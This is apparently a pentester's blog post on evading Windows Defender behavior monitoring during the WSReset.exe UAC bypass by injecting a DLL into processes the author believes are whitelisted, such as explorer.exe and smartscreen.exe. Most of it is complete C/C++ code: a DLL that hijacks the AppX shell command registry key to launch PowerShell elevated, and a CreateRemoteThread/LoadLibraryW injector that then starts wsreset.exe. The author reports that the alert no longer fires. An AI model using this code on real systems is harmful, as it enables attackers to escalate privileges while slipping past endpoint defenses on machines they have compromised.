Evading Windows Defender behavior detection with process injection.

Context

During a pentest I wanted to escalate my privileges using a well-known UAC Bypass (WSReset.exe) on a compromised windows machine and I came across a detection I had never seen :

Defender’s Behavior detection

Few days after the mission I wanted to understand what was this detection and how it would be possible to evade it.

WSReset.exe UAC Bypass

WSreset.exe is a living of the land binary (lolbin) that can be used to execute a process as an High Integrity Process (leading to administrator’s right).

During WSReset.exe startup, the executable will check the value contained in HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command\(default) for a command, and will execute it.

Registry key’s located in HKEY_CURRENT_USER are modifiable by low privileged user and thus is usable to elevate privileges.

Knowing that we can write the registry key as low privileged user and knowing WSReset.exe have the autoElevate property set to true in his manifest, we can use that to execute a command with administrator’s rights.

Sigcheck v2.80 - File version and signature viewer
Copyright (C) 2004-2020 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\WSReset.exe:
        Verified:       Signed
        Signing date:   13:28 10/02/2021
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    This tool resets the Windows Store without changing account settings or deleting installed apps
        Product:        Microsoft« Windows« Operating System
        Prod version:   10.0.18362.1316
        File version:   10.0.18362.1316 (WinBuild.160101.0800)
        MachineType:    64-bit
        Manifest:
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly
    xmlns="urn:schemas-microsoft-com:asm.v1"
    xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
    manifestVersion="1.0">
<assemblyIdentity
    name="Microsoft.Windows.EndUser.WSReset"
    processorArchitecture="amd64"
    version="5.1.0.0"
    type="win32"/>
<description>WSReset</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  <security>
    <requestedPrivileges>
      <requestedExecutionLevel
          level="highestAvailable"
          uiAccess="false"
          />
    </requestedPrivileges>
  </security>
</trustInfo>
<asmv3:application>
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    <autoElevate>true</autoElevate>
  </asmv3:windowsSettings>
</asmv3:application>
</assembly>

(WSReset.exe’s manifest file)

You can find more information about Wsreset.exe UAC Bypass here :

  • https://lolbas-project.github.io/lolbas/Binaries/Wsreset/
  • https://www.activecyber.us/activelabs/windows-uac-bypass

Defender’s Behavior Detection

To reproduce the detection, I compiled an executable containing code to :

  • Modify the registry
  • Start WSReset.exe
#define CMD_TO_START "C:\\Windows\\System32\\cmd.exe /c start powershell.exe"
int ChangeRegistry()
{
    LSTATUS ret;
    HKEY hKey;
    const char* key_path = "Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command";
    const char* key_value = "DelegateExecute";
    const char* key_data = "";
    hKey = NULL;

    ret = RegOpenKeyExA(HKEY_CURRENT_USER, key_path, 0, KEY_ALL_ACCESS, &hKey);
    if (ret != ERROR_SUCCESS)
        return (-1);

    ret = RegSetValueExA(hKey, key_value, 0, REG_SZ, (const BYTE*)key_data, 1);
    if (ret != ERROR_SUCCESS)
        return (-1);
    ret = RegSetValueExA(hKey, NULL, 0, REG_SZ, (const BYTE*)CMD_TO_START, strlen(CMD_TO_START) + 1);
    if (ret != ERROR_SUCCESS)
        return (-1);
    return (0);
}

(sample code to write in registry)

The detection was triggered when the executable was trying to modify the registry key (HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command\(default)) using RegSetValueExA.

It was not a classical static analysis detection as the alert was popped during the program execution.

I started the debugger to understand where the detection happened and I noticed that it took place during the syscall in RegSetValueExA function (ZwSetValueKey more precisely).

From this information we can conclude that the detection is probably done by the kernel. Thus it is impossible to evade the antivirus by obfuscating strings or changing program signatures (classical and “oldschool” antivirus evasion approach).

In addition to that, I noticed that the alert was triggered only when I tried to write “cmd.exe” or “powershell.exe” in the registry. I tried to write ftp.exe (Another LolBins that can be used to execute command) and no alert was triggered. So it’s probably a blacklist and others executable could probably be used to execute commands instead of classical cmd.exe or powershell.exe

Evading Defender’s Behavior Detection

By researching a bit I saw that some processes were “whitelisted” from Behavior monitoring.
The processes given as example were :

  • explorer.exe
  • smartscreen.exe

So maybe it should be possible to inject a DLL into one of theses processes to evade the detection ?

For a quick summary :

  • DLL injection is a well-known technique to be able to execute code into an external process memory.
  • It is often used in game-hacking or malware.

To inject a DLL into another process we will :

  • Compile a DLL with our code to be execute
  • Compile a loader that will have to :
    • Get the pid of the remote process we want to inject into
    • Open a handle to the remote process (OpenProcess)
    • Allocate memory for the DLL’s path (VirtualAllocEx)
    • Write the DLL’s path into remote process’ memory (WriteProcessMemory)
    • Get the address of LoadLibraryW (GetModuleHandleA/GetProcAddress)
    • Start a thread into the remote process that will load our DLL using LoadLibraryW (CreateRemoteThread)
      • We pass two important parameters to CreateRemoteThread
        • lpStartAddress : which contains the address of LoadLibraryW
        • lpParameters : which contains the path of our DLL
      • When the thread will be executed it will execute LoadLibraryW with the DLL’ path’s address
  • The DLL’s code will be executed when the DLL is loaded into the remote process.

For the DLL, I created a simple DLL with code that will use RegSetValueExA to write in registry :

#include "pch.h"
#include <stdio.h>

#define CMD_TO_START "C:\\Windows\\System32\\cmd.exe /c start powershell.exe"

int ChangeRegistry()
{
    LSTATUS ret;
    HKEY hKey;
    const char* key_path = "Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command";
    const char* key_value = "DelegateExecute";
    const char* key_data = "";
    hKey = NULL;

    /* We Open HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command*/
    ret = RegOpenKeyExA(HKEY_CURRENT_USER, key_path, 0, KEY_ALL_ACCESS, &hKey);
    if (ret != ERROR_SUCCESS)
        return (-1);

    /* We emtpy value in subkey DelegateExecute*/
    ret = RegSetValueExA(hKey, key_value, 0, REG_SZ, (const BYTE*)key_data, 1);
    if (ret != ERROR_SUCCESS)
        return (-1);

    /* We write our cmd into (default) subkey*/
    ret = RegSetValueExA(hKey, NULL, 0, REG_SZ, (const BYTE*)CMD_TO_START, strlen(CMD_TO_START) + 1);
    if (ret != ERROR_SUCCESS)
        return (-1);
    return (0);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        ChangeRegistry();
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

To inject the DLL into the process memory, I used the technique explained before (VirtualAllocEx/WriteProcessMemory/CreateRemoteThread with LoadLibraryW‘s address)

#include "Main.h"

/* helper for char * to wchar_t * conversion 
 * thx stackoverflow 
 *
 */
wchar_t* GetWC(const char* c)
{
    size_t written;
    const size_t cSize = strlen(c) + 1;
    wchar_t* wc = new wchar_t[cSize];
    mbstowcs_s(&written, wc, cSize, c, cSize);

    return wc;
}

/* Helper function to get PID from process name*/
DWORD PidFromProcessName(LPCWSTR execName)
{

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot =
        CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            std::wstring binPath = entry.szExeFile;
            if (binPath.find(execName) != std::wstring::npos) {
                printf("pid is %d\n", entry.th32ProcessID);
                return (entry.th32ProcessID);
            }
        }
    }
    return (0);
}

/* Helper func to start process */
VOID Startup(LPCSTR lpApplicationName)
{
    // additional information
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    BOOL ret;
    PVOID OldValue = NULL;
    // set the size of the structures
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //    Wow64DisableWow64FsRedirection(&OldValue);
        // start the program up
    ret = CreateProcessA("C:\\windows\\system32\\cmd.exe",   // the path
        (LPSTR)"cmd.exe /c C:\\windows\\system32\\wsreset.exe",        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        0,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory 
        &si,            // Pointer to STARTUPINFO structure
        &pi             // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    );
    if (ret != TRUE)
    {
        printf("[----] Error starting WSReset.exe ....");
    }
    // Close process and thread handles. 
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

// Inject dll into remote process
// 1 - write dll name into process memory
// 2 - createremotethread to call LoadLibrary with dll name in arg
BOOL InjectDllIntoProcess(HANDLE proc, wchar_t* dllPath)
{

    if (GetFileAttributesW(dllPath) == INVALID_FILE_ATTRIBUTES)
    {
        printf("[----] Dll not found ....\n");
        return (-1);
    }

    // We get len from our dll path
    int nameLen = wcslen(dllPath) + 1;

    // We allocate memory into the remote process (to receive dll path passed to LoadLibraryW)
    LPVOID remoteStr = VirtualAllocEx(proc, NULL, nameLen * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remoteStr == NULL)
    {
        printf("[----] VirtualAllocEx failed....");
        return(FALSE);
    }

    // We copy the Dll path into remote process memory's
    if (WriteProcessMemory(proc, remoteStr, dllPath, nameLen * 2, NULL) == FALSE)
    {
        printf("[----] WriteProcessMemory failed....");
        return(FALSE);
    }

    // We get handle from kernel32.dll
    HMODULE k32 = GetModuleHandleA("kernel32.dll");
    if (k32 == NULL)
    {
        printf("[----] GetModuleHandleA failed....");
        return(FALSE);
    }

    // We get LoadLibrarW's function address
    LPVOID addrLoadLibrary = GetProcAddress(k32, "LoadLibraryW");
    if (addrLoadLibrary == NULL)
    {
        printf("[----] addrLoadLibrary failed....");
        return(FALSE);
    }
    // We execute the thread with for 
    //  lpStartAddress -> address of LoadLibraryW
    // lpParameters -> Address of dll path string in remote process memory.
    HANDLE thread = CreateRemoteThread(proc, NULL, NULL, (LPTHREAD_START_ROUTINE)addrLoadLibrary, remoteStr, NULL, NULL);
    if (thread == NULL)
    {
        printf("[----] CreateRemoteThread failed....");
        return(FALSE);
    }

    WaitForSingleObject(thread, INFINITE);
    CloseHandle(thread);
    return(TRUE);
}

int Inject(wchar_t *dllPath, wchar_t *processName)
{
    // OpenProcess
    HANDLE proc;
    HANDLE th;
    LPVOID addr;
    BOOL ret;
    DWORD pid;

    proc = NULL;
    pid = PidFromProcessName(processName);
    proc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (proc == NULL)
    {
        printf("[*] Error while opening process : %d\n", (int)pid);
        return (-1);
    }
    InjectDllIntoProcess(proc, dllPath);

    CloseHandle(proc);
    return (0);
}

int main(int argc, char **argv)
{
    wchar_t *dllPath;
    wchar_t *processName;

    if (argc < 3)
    {
        printf("USAGE : %s [DLL_TO_INJECT_ABSOLUE_PATH] [PROCESS_TO_INJECT]\n", argv[0]);
        return (-1);
    }

    dllPath = GetWC(argv[1]);
    processName = GetWC(argv[2]);

    if (Inject(dllPath, processName) < 0)
        return (-1);
    Startup("");
    return (0);
}

Using the previous codes, I can compile my Dll and Injector.

I can now use : .\Inject.exe C:\PATH_TO_DLL\Reg.dll PROCESS_NAME.EXE to inject my DLL into either explorer.exe or smartscreen.exe.
By doing that I see that the registry is modified, and when WSreset.exe is started, the powershell.exe with Administrator’s right is opened.

The result is good : No alert is created by Windows Defender !

Other whitelisted processes ?

During my test I also tried to inject into others processes to see if one of them can possibly be whitelisted too and I can say that some are still to find ;).

Conclusion

As you can see, this is not a really hard technique neither a new one.
However I found it really easy and effective to evade Defender’s behavior detection so I thought it deserved a share.

Have fun red teaming.

Links

  • https://lolbas-project.github.io/lolbas/Binaries/Wsreset/
  • https://www.activecyber.us/activelabs/windows-uac-bypass
  • https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/

t0mux